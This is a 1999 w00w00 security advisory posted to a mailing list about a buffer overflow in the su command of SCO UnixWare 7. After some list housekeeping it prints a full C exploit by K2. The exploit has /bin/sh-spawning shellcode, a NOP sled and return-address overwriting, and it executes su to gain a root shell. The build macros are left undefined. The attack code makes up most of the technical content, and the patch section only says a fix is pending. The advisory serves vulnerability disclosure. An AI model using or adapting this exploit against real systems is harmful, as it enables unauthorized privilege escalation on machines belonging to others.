[w00giving '99 #5 and w00news]: UnixWare 7's su

[shok () CANNABIS DATAFORCE NET (Matt Conover)]

w00w00 Security Development (WSD)
http://www.w00w00.org/advisories.html

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Sorry, we've been really tied up these past 2-3 weeks and have been unable
to write up the advisories.  We'll send three SCO advisories tonight to
make up for it.  We should have some interesting ones within the next two
weeks (it's really hard to find the time to write up the exploits and
advisories).

You'll noticed we jumped from #3 to #5.  w00giving advisory #4 has been
available on http://www.w00w00.org/advisories.html for 2-3 weeks, but
it wasn't posted to this list.  w00w00.org has had hits from 55 different
countries as of yesterday.

If you are going to send out advisories, please cc them to
news () technotronic com, also.  You can subscribe to it by sending
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posted on there first (order of release: w00w00.org,
news () technotronic com, news groups, bugtraq).
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Discovered by: K2 (ktwo () ktwo ca)

The su command on SCO's UnixWare 7 has improper bounds checking on the
username passed (via argv[1]), which can cause a buffer overflow when
a lengthy username is passed.

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Exploit (by K2):

// UnixWare7 /usr/bin/su local, K2, revisited Oct-30-1999
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shell[] =
 "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
 "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
 "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
 "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
 "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
 "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";

const char x86_nop=0x90;
long nop,esp;
long offset=DEFOFF;
char buffer[SIZE];

long get_esp() { __asm__("movl %esp,%eax"); }

int main (int argc, char *argv[])
{
    register int i;

    if (argc > 1) offset += strtol(argv[1], NULL, 0);
    if (argc > 2) nop += strtoul(argv[2], NULL, 0);
    else
        nop = NOPDEF;
    esp = get_esp();

    memset(buffer, x86_nop, SIZE);
    memcpy(buffer+nop, shell, strlen(shell));

    for (i = nop+strlen(shell); i < SIZE-4; i += 4)
        *((int *) &buffer[i]) = esp+offset;

    printf("offset = [0x%x]\n",esp+offset);
    execl("/usr/bin/su", "su", buffer, NULL);

    printf("exec failed!\n");
    return 0;
}

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Patch:

SCO is in the process of fixing a list of vulnerabilities we sent a few
weeks ago.

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